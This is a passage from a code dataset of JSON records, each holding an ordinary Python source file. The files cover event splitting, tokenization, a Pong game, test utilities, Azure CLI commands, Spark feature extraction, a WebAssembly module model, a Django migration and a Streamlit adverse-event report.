params['trial_end_code'])[0]]\n        elif 'trial_end_time' in params:\n            trial_end_time = trial_start_time + params['trial_end_time']\n        else:\n            raise RuntimeError('unsupported mode for finding end of trial!')\n    else:\n        trial_start_time = start_times[0]\n        trial_end_time = end_times[-1]\n\n    assert trial_start_time <= trial_end_time\n    trial_start_time -= params['margin_before']\n    trial_end_time += params['margin_after']\n    return trial_start_time, trial_end_time\n\n\ndef _split_events_per_trial(t_idx, codes: np.ndarray, times: np.ndarray, params: dict) -> dict:\n    \"\"\"roughly a rewrite of import_one_trial_startstoptime\n\n    Parameters\n    ----------\n    codes\n    times\n    params\n\n    Returns\n    -------\n\n    \"\"\"\n    codes, times = _check_input(codes, times)\n    trial_to_condition_func = eval(params['trial_to_condition_func'], {}, {})\n    cnd_number = np.int16(trial_to_condition_func(codes, t_idx))\n    assert np.isscalar(cnd_number)\n\n    start_times, end_times = _get_times_subtrials(codes, times, params['subtrials'])\n    trial_start_time, trial_end_time = _get_times_trial(codes, times, start_times, end_times, params)\n\n    # this is due to ill design of trial window and subtrial window due to human error.\n    assert np.all(trial_start_time <= start_times)\n    assert np.all(trial_end_time >= end_times)\n\n    event_code_idx = np.logical_and(times >= trial_start_time, times <= trial_end_time)\n\n    return {\n        'start_times': start_times,  # absolute\n        'end_times': end_times,  # absolute\n        'trial_start_time': trial_start_time,\n        'trial_end_time': trial_end_time,\n        'event_times': times[event_code_idx],\n        'event_codes': codes[event_code_idx],\n        'condition_number': cnd_number\n    }\n\n\ndef _assemble_result(split_result, n_trial):\n    fields_to_be_ndarray = {\n        'start_times', 'end_times', 'trial_start_time', 'trial_end_time', 'condition_number'\n    }\n\n    result = {}\n    for field in fields_to_be_ndarray:\n        result[field] = np.asarray([x[field] for x in split_result])\n\n    result['trial_length'] = result['trial_end_time'] - result['trial_start_time']\n\n    # normalize time w.r.t trial start.\n    result['start_times'] -= result['trial_start_time'][:, np.newaxis]\n    result['end_times'] -= result['trial_start_time'][:, np.newaxis]\n\n    # create object arrays.\n    event_times = np.empty(n_trial, dtype=np.object_)\n    event_codes = np.empty(n_trial, dtype=np.object_)\n\n    for idx in range(n_trial):\n        event_times[idx] = split_result[idx]['event_times'] - result['trial_start_time'][idx]\n        event_codes[idx] = split_result[idx]['event_codes']\n\n    result['event_times'] = event_times\n    result['event_codes'] = event_codes\n\n    return result\n\n\ndef split_events(event_data: dict, event_splitting_params: dict, n_jobs=-1) -> dict:\n    \"\"\"extract event codes according to event splitting params.\n    basically, this code replicates half the of `+cdttable/import_one_trial.m` in the original matlab package.\n    the other half should go to the splitter.\n\n    Parameters\n    ----------\n    event_data\n    event_splitting_params\n    n_jobs\n\n    Returns\n    -------\n\n    \"\"\"\n    # check that event_data is of good form.\n    assert {'event_codes', 'event_times'} == set(event_data.keys())\n    n_trial = len(event_data['event_codes'])\n    assert n_trial == len(event_data['event_times'])\n    assert n_trial >= 1\n\n    # no memmaping, since trials are usually short.\n    pool = Parallel(n_jobs=n_jobs, max_nbytes=None)\n    split_result = pool(\n        delayed(_split_events_per_trial)(t_idx, codes, times, event_splitting_params) for t_idx, (codes, times) in\n        enumerate(zip(event_data['event_codes'],\n                      event_data['event_times'])))\n\n    result = _assemble_result(split_result, n_trial)\n    _check_output(result)\n\n    return result\n","sub_path":"cdttable/core/io_event.py","file_name":"io_event.py","file_ext":"py","file_size_in_byte":6295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"}
+{"seq_id":"343917223","text":"import collections\nimport six\nimport sys\nimport unicodedata\n\nimport tensorflow as tf\nimport sentencepiece as sp\n\nSENTPIECE_MODEL = 'ja_wiki_sentpiece/wiki-ja.model'\nSENTPIECE_VOCAB = 'ja_wiki_sentpiece/wiki-ja.vocab'\n\ndef load_vocab(vocab_file):\n    \"\"\"Loads a vocabulary file into a dictionary.\"\"\"\n    vocab = collections.OrderedDict()\n    index = 0\n    with tf.io.gfile.GFile(vocab_file, \"r\") as reader:\n        while True:\n            token = convert_to_unicode(reader.readline())\n            if not token:\n                break\n            token, _ = token.split(\"\\t\")\n            token = token.strip()\n            vocab[token] = index\n            index += 1\n    return vocab\n\ndef convert_to_unicode(text):\n    \"\"\"Converts `text` to Unicode (if it's not already), assuming utf-8 input.\"\"\"\n    if six.PY3:\n        if isinstance(text, str):\n            return text\n        elif isinstance(text, bytes):\n            return text.decode(\"utf-8\", \"ignore\")\n        else:\n            raise ValueError(\"Unsupported string type: %s\" % (type(text)))\n    elif six.PY2:\n        if isinstance(text, str):\n            return text.decode(\"utf-8\", \"ignore\")\n        elif isinstance(text, unicode):\n            return text\n        else:\n            raise ValueError(\"Unsupported string type: %s\" % (type(text)))\n    else:\n        raise ValueError(\"Not running on Python2 or Python 3?\")\n\ndef convert_by_vocab(vocab, items, unk_info):\n    \"\"\"Converts a sequence of [tokens|ids] using the vocab.\"\"\"\n    output = []\n    for item in items:\n        if item in vocab:\n            output.append(vocab[item])\n        else:\n            output.append(unk_info)\n    return output\n\nclass FullTokenizer(object):\n    \"\"\"Runs end-to-end tokenziation.\"\"\"\n\n    def __init__(self, path, do_lower_case=True):\n        model_file = path + SENTPIECE_MODEL\n        vocab_file = path + SENTPIECE_VOCAB\n        self.tokenizer = SentencePieceTokenizer(model_file, do_lower_case=do_lower_case)\n        self.vocab = load_vocab(vocab_file)\n        self.inv_vocab = {v: k for k, v in self.vocab.items()}\n\n    def parse(self, text):\n        split_tokens = self.tokenizer.tokenize(text)\n        return split_tokens\n\n    def convert_tokens_to_ids(self, tokens):\n        \"\"\"Id of  is assumed as 0 accroding to sentencepiece\"\"\"\n        return convert_by_vocab(self.vocab, tokens, unk_info=0)\n\n    def convert_ids_to_tokens(self, ids):\n        \"\"\"Token of unknown word is assumed as  according to sentencepiece\"\"\"\n        return convert_by_vocab(self.inv_vocab, ids, unk_info=\"\")\n\nclass SentencePieceTokenizer(object):\n    \"\"\"Runs SentencePiece tokenization (from raw text to tokens list)\"\"\"\n\n    def __init__(self, model_file=None, do_lower_case=True):\n        \"\"\"Constructs a SentencePieceTokenizer.\"\"\"\n        self.tokenizer = sp.SentencePieceProcessor()\n        if self.tokenizer.Load(model_file):\n            print(\"Loaded a trained SentencePiece model.\")\n        else:\n            print(\"You have to give a path of trained SentencePiece model.\")\n            sys.exit(1)\n        self.do_lower_case = do_lower_case\n\n    def tokenize(self, text):\n        \"\"\"Tokenizes a piece of text.\"\"\"\n        text = convert_to_unicode(text)\n        if self.do_lower_case:\n            text = text.lower()\n        output_tokens = self.tokenizer.EncodeAsPieces(text)\n        return ' '.join(output_tokens)","sub_path":"projects/jp_dialogue/ja_sentpiece_tokenizer.py","file_name":"ja_sentpiece_tokenizer.py","file_ext":"py","file_size_in_byte":3357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"}
+{"seq_id":"592246757","text":"import time\r\nfrom tkinter import *\r\nfrom threading import Thread\r\nfrom time import sleep\r\n\r\nclass runApp:\r\n    def __init__(self, instance, appName):\r\n        if __name__ == '__main__':\r\n            pass\r\n        Game = Pong(instance, appName)\r\n\r\nclass Pong:\r\n    def __init__(self, instance, appName):\r\n        self.MainInterface = instance\r\n        self.Window1 = self.MainInterface.AppScreen\r\n        self.InterfaceWindow = self.MainInterface.InterfaceWindow\r\n        self.FontArray = self.MainInterface.Fonts\r\n\r\n        self.width1 = self.MainInterface.windowWidth\r\n        self.height1 = self.MainInterface.windowHeight\r\n\r\n        self.width = self.width1\r\n        self.height = (350 / 400) * self.height1\r\n        self.Window1.config(bg='#040404')\r\n\r\n        self.Window = Canvas(self.Window1, bg=\"#141414\")\r\n        self.Window.place(relx=0, rely=0, width=self.width, height=self.height)\r\n\r\n        self.Game_Active = True\r\n        self.Game_Information = Label(self.Window, bg='#141414', font=('MS PGothic', 18, 'bold'), fg='#16a085')\r\n        self.Paddle_1 = Paddle(self, [0.05, 0.35])\r\n        self.Paddle_2 = Paddle(self, [0.95, 0.35])\r\n        self.Ball_Position = [0.45, 0.45]\r\n        self.Ball_Direction = [0.0025, 0.0075]\r\n        self.Ball = Label(self.Window, height=1, width=2)\r\n        self.Ball.place(relx=self.Ball_Position[0], rely=self.Ball_Position[1])\r\n\r\n        self.InterfaceWindow.bind('', lambda event: self.Paddle_2.movePaddle(-0.03))\r\n        self.InterfaceWindow.bind('', lambda event: self.Paddle_2.movePaddle(0.03))\r\n        self.InterfaceWindow.bind('', lambda event: self.Paddle_1.movePaddle(-0.03))\r\n        self.InterfaceWindow.bind('', lambda event: self.Paddle_1.movePaddle(0.03))\r\n        self.InterfaceWindow.bind('', lambda event: self.Paddle_1.movePaddle(-0.03))\r\n        self.InterfaceWindow.bind('', lambda event: self.Paddle_1.movePaddle(0.03))\r\n\r\n        self.Game_Scores = Scores(self, 11, [self.width, self.height])\r\n\r\n\r\n        timeNow = time.strftime(\"%H:%M\")\r\n\r\n        Thread(target=self.ballMovement).start()\r\n\r\n    def ballMovement(self):\r\n        while self.Game_Active:\r\n            self.Ball_Position[0] += self.Ball_Direction[0]\r\n            self.Ball_Position[1] += self.Ball_Direction[1]\r\n            self.Ball.place(relx=self.Ball_Position[0], rely=self.Ball_Position[1])\r\n            if self.Ball_Position[1] > 0.95 or self.Ball_Position[1] < 0.05:\r\n                self.Ball_Direction[1] *= -1\r\n            if self.Ball_Position[0] >= self.Paddle_2.Paddle_Location[0] - 0.01:\r\n                if self.Paddle_2.Paddle_Location[0] + 0.22 > self.Ball_Position[1] > self.Paddle_2.Paddle_Location[1]:\r\n                    self.Ball_Direction[0] *= -1\r\n            if self.Ball_Position[0] <= self.Paddle_1.Paddle_Location[0]:\r\n                if self.Paddle_1.Paddle_Location[1] + 0.22 > self.Ball_Position[1] > self.Paddle_1.Paddle_Location[1]:\r\n                    self.Ball_Direction[0] *= -1\r\n            if self.Ball_Position[0] > 1.0:\r\n                self.Ball_Position = [0.45, 0.45]\r\n                self.Game_Scores.incrementScore(0)\r\n            elif self.Ball_Position[0] < 0.0:\r\n                self.Ball_Position = [0.45, 0.45]\r\n                self.Game_Scores.incrementScore(1)\r\n            sleep(0.009)\r\n        else:\r\n            self.Ball.place_forget()\r\n            self.Game_Information.config(text=f'{self.Game_Scores.Game_Winner.upper()} SIDE WINS THE GAME!')\r\n            self.Game_Information.place(relx=.3, rely=.4)\r\n\r\n\r\nclass Scores:\r\n    def __init__(self, instance, score, sizing):\r\n        self.width = sizing[0]\r\n        \r\n        self.Game_Instance = instance\r\n        self.Game_Winner = None\r\n        self.Game_Scores = [0, 0]\r\n        self.Game_Strings = ['Left', 'Right']\r\n        self.Score_Limit = score\r\n        self.Score_Frame = Frame(self.Game_Instance.Window, bg='#141414')\r\n        self.Score_Frame.place(relx=.425, rely=.0, width=.15*self.Game_Instance.width, height=self.Game_Instance.height * .15)\r\n        self.Score_A = Label(self.Score_Frame, font=('Franklin Gothic Heavy', instance.FontArray[6], ''), text='0', bg='#141414', fg='#95A5A6')\r\n        self.Score_A.place(relx=.08, rely=.1)\r\n        self.Score_B = Label(self.Score_Frame, font=('Franklin Gothic Heavy', instance.FontArray[6], ''), text='0', bg='#141414', fg='#95A5A6')\r\n        self.Score_B.place(relx=.72, rely=.1)\r\n        self.Score_Splitter = Label(self.Score_Frame, font=('Franklin Gothic Heavy', instance.FontArray[6], ''), text='-', bg='#141414', fg='#95A5A6')\r\n        self.Score_Splitter.place(relx=.44, rely=.1)\r\n        self.Score_Information = Label(self.Score_Frame, text=f'FIRST TO {self.Score_Limit}', font=('Franklin Gothic Heavy', 12, ''), bg='#141414', fg='#95a5a6', justify=CENTER)\r\n        self.Score_Information.place(relx=.08, rely=.65)\r\n\r\n    def incrementScore(self, index):\r\n        self.Game_Scores[index] += 1\r\n        self.updateScores()\r\n        self.checkWinner()\r\n\r\n    def updateScores(self):\r\n        self.Score_A.config(text=self.Game_Scores[0])\r\n        self.Score_B.config(text=self.Game_Scores[1])\r\n\r\n    def checkWinner(self):\r\n        for scores in self.Game_Scores:\r\n            if scores == self.Score_Limit:\r\n                self.Game_Instance.Game_Active = False\r\n                self.Game_Winner = self.Game_Strings[self.Game_Scores.index(scores)]\r\n\r\n\r\n\r\nclass Paddle:\r\n    def __init__(self, instance, position):\r\n        self.Game_Instance = instance\r\n        self.Paddle_Location = position\r\n        self.Game_Paddle = Label(self.Game_Instance.Window)\r\n        self.Game_Paddle.place(relx=self.Paddle_Location[0], rely=self.Paddle_Location[1], height=75, width=15)\r\n\r\n    def movePaddle(self, direction):\r\n        self.Paddle_Location[1] += direction\r\n        self.Game_Paddle.place(relx=self.Paddle_Location[0], rely=self.Paddle_Location[1])\r\n\r\n\r\n","sub_path":"Apps/Downloaded/Pong/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":5890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"598425239","text":"# coding=utf-8\n# Copyright 2017 Pants project contributors (see CONTRIBUTORS.md).\n# Licensed under the Apache License, Version 2.0 (see LICENSE).\n\nfrom __future__ import (absolute_import, division, generators, nested_scopes, print_function,\n                        unicode_literals, with_statement)\n\nimport os\nfrom contextlib import contextmanager\n\n\n@contextmanager\ndef setup_pexrc_with_pex_python_path(pexrc_path, interpreter_paths):\n  \"\"\"A helper function for writing interpreter paths to a PEX_PYTHON_PATH variable\n  in a .pexrc file. This function raise an error if a .pexrc file already exists at\n  `pexrc_path`.\n\n  :param pexrc_path (str): a path to a temporary .pexrc to write for testing purposes.\n  :param interpreter_paths (list): a list of paths to interpreter binaries to include on \n  PEX_PYTHON_PATH.\n  \"\"\"\n  pexrc_path = os.path.expanduser(pexrc_path)\n  if os.path.exists(pexrc_path):\n    raise RuntimeError(\"A pexrc file already exists in {}\".format(pexrc_path))\n\n  # Write a temp .pexrc in pexrc_dir.\n  with open(pexrc_path, 'w') as pexrc:\n    pexrc.write(\"PEX_PYTHON_PATH=%s\" % ':'.join(interpreter_paths))\n  \n  try:\n    yield\n  finally:\n    # Cleanup temporary .pexrc.\n    os.remove(pexrc_path)\n","sub_path":"tests/python/pants_test/testutils/pexrc_util.py","file_name":"pexrc_util.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"434019928","text":"# --------------------------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for license information.\n# --------------------------------------------------------------------------------------------\n\nfrom azure.cli.core.commands import cli_command\n\nfrom azure.cli.command_modules.batch_extensions._client_factory import (\n    account_mgmt_client_factory, batch_data_service_factory)\n\ncustom_path = 'azure.cli.command_modules.batch_extensions.custom#{}'\n\n# pylint: disable=line-too-long\n# NCJ Commands\n\ncli_command(__name__, 'batch file upload', custom_path.format('upload_file'), account_mgmt_client_factory)\ncli_command(__name__, 'batch file download', custom_path.format('download_file'), account_mgmt_client_factory)\n\ncli_command(__name__, 'batch pool create', custom_path.format('create_pool'), batch_data_service_factory)\ncli_command(__name__, 'batch job create', custom_path.format('create_job'), batch_data_service_factory)\n","sub_path":"azure/cli/command_modules/batch_extensions/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"454054070","text":"import click\nfrom pyspark import SparkConf, SparkContext\n\nfrom qanta.util.constants import FEATURE_NAMES\nfrom qanta.util.environment import QB_SPARK_MASTER\nfrom qanta.util import spark_features\nimport qanta.extract_features as ef\n\nCONTEXT_SETTINGS = dict(help_option_names=['-h', '--help'])\n\n\n@click.group(context_settings=CONTEXT_SETTINGS)\ndef cli():\n    pass\n\n\ndef create_spark_context(app_name=\"Quiz Bowl\", configs=None) -> SparkContext:\n    spark_conf = SparkConf()\\\n        .set('spark.rpc.message.maxSize', 300)\\\n        .setAppName(app_name)\\\n        .setMaster(QB_SPARK_MASTER)\n    if configs is not None:\n        for key, value in configs:\n            spark_conf = spark_conf.set(key, value)\n    return SparkContext.getOrCreate(spark_conf)\n\n\ndef extract_features(features):\n    if 'lm' in features:\n        # This deals with out of memory problems when using the language model\n        configs = [('spark.executor.cores', 10)]\n    else:\n        configs = None\n    create_spark_context(\n        app_name='Quiz Bowl: ' + ' '.join(features), configs=configs\n    )\n    ef.spark_batch(features)\n\n\ndef extract_guess_features():\n    create_spark_context(\n        app_name='Quiz Bowl: guessers',\n        configs=[('spark.executor.cores', 10)]\n    )\n    ef.generate_guesser_feature()\n\n\n@cli.command(name='extract_features')\n@click.argument('features', nargs=-1, type=click.Choice(FEATURE_NAMES), required=True)\ndef extract_features_cli(**kwargs):\n    extract_features(kwargs['features'])\n\n\ndef merge_features():\n    create_spark_context(app_name='Quiz Bowl Merge')\n    spark_features.create_output('output/features')\n\n\n@cli.command(name='merge_features')\ndef merge_features_cli(**kwargs):\n    merge_features()\n\n\nif __name__ == '__main__':\n    cli()\n","sub_path":"qanta/spark_execution.py","file_name":"spark_execution.py","file_ext":"py","file_size_in_byte":1749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"138001601","text":"#!/usr/bin/env python\n# encoding: utf-8\n\"\"\"\n@author: HuRuiFeng\n@file: module.py\n@time: 2020/8/18 16:50\n@project: wasm-python-book\n@desc: Wasm模块定义\n\"\"\"\n\n# 小端方式编码数值,魔数:0asm\nfrom ch07.binary.types import BlockTypeI32, BlockTypeI64, BlockTypeF32, BlockTypeF64, BlockTypeEmpty, FuncType, ValTypeI32, \\\n    ValTypeI64, ValTypeF32, ValTypeF64\n\nMagicNumber = 0x6D736100\n# 版本号:1\nVersion = 0x00000001\n\n# 12种段\n# 自定义段ID\nSecCustomID = 0\n# 类型段ID\nSecTypeID = 1\n# 导入段ID\nSecImportID = 2\n# 函数段ID\nSecFuncID = 3\n# 表段ID\nSecTableID = 4\n# 内存段ID\nSecMemID = 5\n# 全局段ID\nSecGlobalID = 6\n# 导出段ID\nSecExportID = 7\n# 起始段ID\nSecStartID = 8\n# 元素段ID\nSecElemID = 9\n# 代码段ID\nSecCodeID = 10\n# 数据段ID\nSecDataID = 11\n\nImportTagFunc = 0\nImportTagTable = 1\nImportTagMem = 2\nImportTagGlobal = 3\n\nExportTagFunc = 0\nExportTagTable = 1\nExportTagMem = 2\nExportTagGlobal = 3\n\n# 内存页大小\nPageSize = 65536  # 64KB\n# 最大内存页数\nMaxPageCount = 65536  # 2^16\n\n# 索引空间\n# 类型索引:类型段的有效索引范围就是类型索引空间\nTypeIdx = int\n# 函数索引:由外部函数和内部函数共同构成\nFuncIdx = int\n# 表和内存索引:只能导入或定义一份表和内存,所以索引空间内的唯一有效索引为0\nTableIdx = int\nMemIdx = int\n# 全局变量索引:由外部和内部全局变量共同构成\nGlobalIdx = int\n# 局部变量索引:由函数的参数和局部变量共同构成\nLocalIdx = int\n# 跳转标签索引:每个函数有自己的跳转标签索引空间\nLabelIdx = int\n\n\nclass Module:\n    \"\"\"模型\"\"\"\n\n    def __init__(self):\n        # 魔数\n        self.magic = 0\n        # 版本号\n        self.version = 0\n        # 自定义段 0\n        # custom_sec: 0x00|byte_count|name|byte*\n        self.custom_secs = []\n        # 类型段 1\n        # type_sec: 0x01|byte_count|vec\n        self.type_sec = []\n        # 导入段 2\n        # import_sec : 0x02|byte_count|vec\n        self.import_sec = []\n        # 函数段 3\n        # func_sec: 0x03|byte_count|vec\n        self.func_sec = []\n        # 表段 4\n        # table_sec : 0x04|byte_count|vec\n        self.table_sec = []\n        # 内存段 5\n        # mem_sec : 0x05|byte_count|vec 目前vec长度只能是1\n        self.mem_sec = []\n        # 全局段 6\n        # global_sec : 0x06|byte_count|vec\n        self.global_sec = []\n        # 导出段 7\n        # export_sec : 0x07|byte_count|vec\n        self.export_sec = []\n        # 起始段 8\n        # start_sec: 0x08|byte_count|func_idx\n        self.start_sec = None\n        # 元素段 9\n        # elem_sec: 0x09|byte_count|vec\n        self.elem_sec = []\n        # 代码段 10\n        # code_sec: 0x0A|byte_count|vec\n        self.code_sec = []\n        # 数据段 11\n        # data_sec: 0x0B|byte_count|vec\n        self.data_sec = []\n\n    def get_block_type(self, bt):\n        if bt == BlockTypeI32:\n            return FuncType(result_types=[ValTypeI32])\n        elif bt == BlockTypeI64:\n            return FuncType(result_types=[ValTypeI64])\n        elif bt == BlockTypeF32:\n            return FuncType(result_types=[ValTypeF32])\n        elif bt == BlockTypeF64:\n            return FuncType(result_types=[ValTypeF64])\n        elif bt == BlockTypeEmpty:\n            return FuncType()\n        else:\n            return self.type_sec[bt]\n\n\nclass CustomSec:\n    \"\"\"自定义段\"\"\"\n\n    def __init__(self, name=\"\", custom_sec_bytes=None):\n        if custom_sec_bytes is None:\n            custom_sec_bytes = []\n        self.name = name\n        self.bytes = custom_sec_bytes\n\n\nclass Import:\n    \"\"\"\n    导入类型:函数、表、内存、全局变量\n    import     : module_name|member_name|import_desc\n    \"\"\"\n\n    def __init__(self, module=\"\", name=\"\", desc=None):\n        # 模块名(从哪个模块导入)\n        self.module = module\n        # 成员名\n        self.name = name\n        # 具体描述信息\n        self.desc = desc\n\n\nclass ImportDesc:\n    \"\"\"\n    import_desc: tag|[type_idx, table_type, mem_type, global_type]\n    \"\"\"\n\n    def __init__(self, tag):\n        # 0表示函数、1表示表、2表示内存、3表示全局变量\n        self.tag = tag\n        self.func_type = TypeIdx\n        self.table = None\n        self.mem = None\n        self.global_type = None\n\n\nclass Global:\n    \"\"\"\n    global     : global_type|init_expr\n    \"\"\"\n\n    def __init__(self, global_type=None, init=None):\n        self.type = global_type\n        self.init = init\n\n\nclass Export:\n    \"\"\"\n    export     : name|export_desc\n    \"\"\"\n\n    def __init__(self, name=\"\", export_desc=None):\n        self.name = name\n        self.desc = export_desc\n\n\nclass ExportDesc:\n    \"\"\"\n    export_desc: tag|[func_idx, table_idx, mem_idx, global_idx]\n    \"\"\"\n\n    def __init__(self, tag=0, idx=0):\n        self.tag = tag\n        self.idx = idx\n\n\nclass Elem:\n    \"\"\"\n    elem    : table_idx|offset_expr|vec\n    \"\"\"\n\n    def __init__(self, table_idx=0, offset_expr=None, vec_init=None):\n        if vec_init is None:\n            vec_init = []\n        self.table = table_idx\n        self.offset = offset_expr\n        self.init = vec_init\n\n\nclass Code:\n    \"\"\"\n    code    : byte_count|vec|expr\n    \"\"\"\n\n    def __init__(self, locals_vec=None, expr=None):\n        if locals_vec is None:\n            locals_vec = []\n        self.locals = locals_vec\n        self.expr = expr\n\n    def get_local_count(self) -> int:\n        n = 0\n        for locals_item in self.locals:\n            n += locals_item.n\n        return n\n\n\nclass Locals:\n    \"\"\"\n    locals  : local_count|val_type\n    \"\"\"\n\n    def __init__(self, local_count=0, val_type=0):\n        self.n = local_count\n        self.type = val_type\n\n\nclass Data:\n    \"\"\"\n    data    : mem_idx|offset_expr|vec\n    \"\"\"\n\n    def __init__(self, mem_idx=0, offset_expr=None, vec_init=None):\n        if vec_init is None:\n            vec_init = []\n        self.mem = mem_idx\n        self.offset = offset_expr\n        self.init = vec_init\n","sub_path":"src/ch07/binary/module.py","file_name":"module.py","file_ext":"py","file_size_in_byte":6106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"186339342","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun May 12 23:04:56 2019\r\n\r\n@author: binxi\r\n\"\"\"\r\n\r\nclass Solution(object):\r\n    def partition(self, s):\r\n        \"\"\"\r\n        :type s: str\r\n        :rtype: List[List[str]]\r\n        \"\"\"\r\n        if s == '':\r\n            return []\r\n            exit\r\n        \r\n        lst = []\r\n        \r\n        for i in range(len(s)):\r\n            if s[:i+1] == s[:i+1][::-1]:\r\n                if i+1 == len(s):\r\n                    lst.append([s])\r\n                else:\r\n                    for j in self.partition(s[i+1:]):\r\n                        lst.append([s[:i+1]]+j)\r\n        return lst","sub_path":"Leetcode/#131 Palindrome Partitioning.py","file_name":"#131 Palindrome Partitioning.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"539713799","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('adverts', '0005_auto_20151203_2337'),\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='UsersProfiles',\n            fields=[\n                ('id', models.AutoField(serialize=False, auto_created=True, primary_key=True, verbose_name='ID')),\n                ('user', models.ForeignKey(to=settings.AUTH_USER_MODEL, unique=True)),\n            ],\n        ),\n        migrations.DeleteModel(\n            name='UserLogin',\n        ),\n        migrations.DeleteModel(\n            name='UserRegistration',\n        ),\n    ]\n","sub_path":"src/adverts/migrations/0006_auto_20151205_1838.py","file_name":"0006_auto_20151205_1838.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"373346716","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Apr  2 11:43:14 2021\n\n@author: EduardoR\n\"\"\"\n\nimport streamlit as st\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nst.write(\"\"\"\n         # Monthly Adverse Event report\n\"\"\")\n\nae_data = pd.read_csv('NOAEs_ImportTemplate.csv')\nae_data['start_date'] = pd.to_datetime(ae_data['start_date'])\nae_data['start_date'] = ae_data['start_date'].dt.date\n\nae_data['end_date'] = pd.to_datetime(ae_data['end_date'])\nae_data['end_date'] = ae_data['end_date'].dt.date\n\n\n\n#with st.beta_container():\n#    hist_values = np.histogram(ae_data['start_date'].dt.month, bins=15, range=(0,13))[0]\n#    st.write('Adverse Event by grade of severity')\n#    st.bar_chart(hist_values)\n    \nst.sidebar.header('Select The data to display')\n\ninput_sdate = st.sidebar.date_input('Select Start date')\ninput_edate = st.sidebar.date_input ('Select End date')\ninput_study = st.sidebar.selectbox('Only SAEs?', ('Yes','No'))\n\n\nfiltered_df = ae_data[ae_data['start_date'] > input_sdate &(ae_data['start_date'] < input_edate)]\n\n\n\nsae_df = ae_data[ae_data['serious']==1]\nsae_df = sae_df[['id','ae_term','ongoing','relationship']]\n\nif st.checkbox('SAEs'):\n    st.subheader('Displaying only SAEs')\n    st.write(sae_df)\n    fig, ax = plt.subplots()\n    ax.hist(sae_df['ae_term'])\n    st.pyplot(fig)\n#Create the sidebar the first parameter in the slider is the minimum value, the \n#second parameter is the maximum value and the last is the default value\n'''\ndef user_input_features():\n    sepal_length = st.sidebar.slider('Sepal length', 4.3, 7.9, 5.4)\n    sepal_width = st.sidebar.slider('Sepal width', 2.0, 4.4, 3.4)\n    petal_length = st.sidebar.slider('Petal length',1.0, 6.9, 1.3)\n    petal_width = st.sidebar.slider('Petal width',0.1, 2.5, 0.2)\n    data = {'sepal_length': sepal_length,\n            'sepal_width': sepal_width,\n            'petal_length': petal_length,\n            'petal_width': petal_width}\n    features = pd.DataFrame(data, index=[0])\n    return features\n\n\n#Assign the input parameters to a variable 'df'\n\ndf = user_input_features()\n\nst.subheader('User Input Parameters')\n\n#write the df variable into the app (creates a printout of the dataframe)\nst.write(df)\n\n\n#import the dataset to use the randomforest classifier\niris = datasets.load_iris()\nX = iris.data\nY = iris.target\n\n\n#Built and compile the random forest classifier using the iris data\nclf = RandomForestClassifier()\nclf.fit(X, Y)\n\n#the predictions are out of the user input\nprediction = clf.predict(df)\nprediction_proba = clf.predict_proba(df)\n\n#Create a printout of the class label and probability\n\nst.subheader('Prediction')\nst.write(iris.target_names[prediction])\n\nst.subheader('Prediction Probability')\nst.write(prediction_proba)\n'''","sub_path":"AE_webapp.py","file_name":"AE_webapp.py","file_ext":"py","file_size_in_byte":2741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"525731470","text":"import subprocess\nimport shlex\nimport sys\nimport dendropy\nimport pandas\nimport pysam\nfrom random import shuffle\nfrom pathlib import Path\n\nimport matplotlib.pyplot as plt\n\nfrom pathfinder.plots import plot_date_randomisation, plot_regression\n\n\ndef run_cmd(cmd, callback=None, watch=False, background=False, shell=False):\n\n    \"\"\" Runs the given command and gathers the output.\n\n    If a callback is provided, then the output is sent to it, otherwise it\n    is just returned.\n\n    Optionally, the output of the command can be \"watched\" and whenever new\n    output is detected, it will be sent to the given `callback`.\n\n    Returns:\n        A string containing the output of the command, or None if a `callback`\n        was given.\n    Raises:\n        RuntimeError: When `watch` is True, but no callback is given.\n\n    \"\"\"\n\n    if watch and not callback:\n        raise RuntimeError(\n            \"You must provide a callback when watching a process.\"\n        )\n\n    output = None\n    try:\n        if shell:\n            proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n        else:\n            proc = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE)\n\n        if background:\n            # Let task run in background and return pmid for monitoring:\n            return proc.pid, proc\n\n        if watch:\n            while proc.poll() is None:\n                line = proc.stdout.readline()\n                if line != \"\":\n                    callback(line)\n\n            # Sometimes the process exits before we have all of the output, so\n            # we need to gather the remainder of the output.\n            remainder = proc.communicate()[0]\n            if remainder:\n                callback(remainder)\n        else:\n            output = proc.communicate()[0]\n    except:\n        err = str(sys.exc_info()[1]) + \"\\n\"\n        output = err\n\n    if callback and output is not None:\n        return callback(output)\n\n    return output\n\n\n# Survey support functions\n\ndef get_aspera_key() -> Path:\n\n    \"\"\" Return path to aspera key for connections to ENA \"\"\"\n\n    return Path(__file__).parent / \"resources\" / \"asperaweb_id_dsa.openssh\"\n\n\ndef get_genome_sizes() 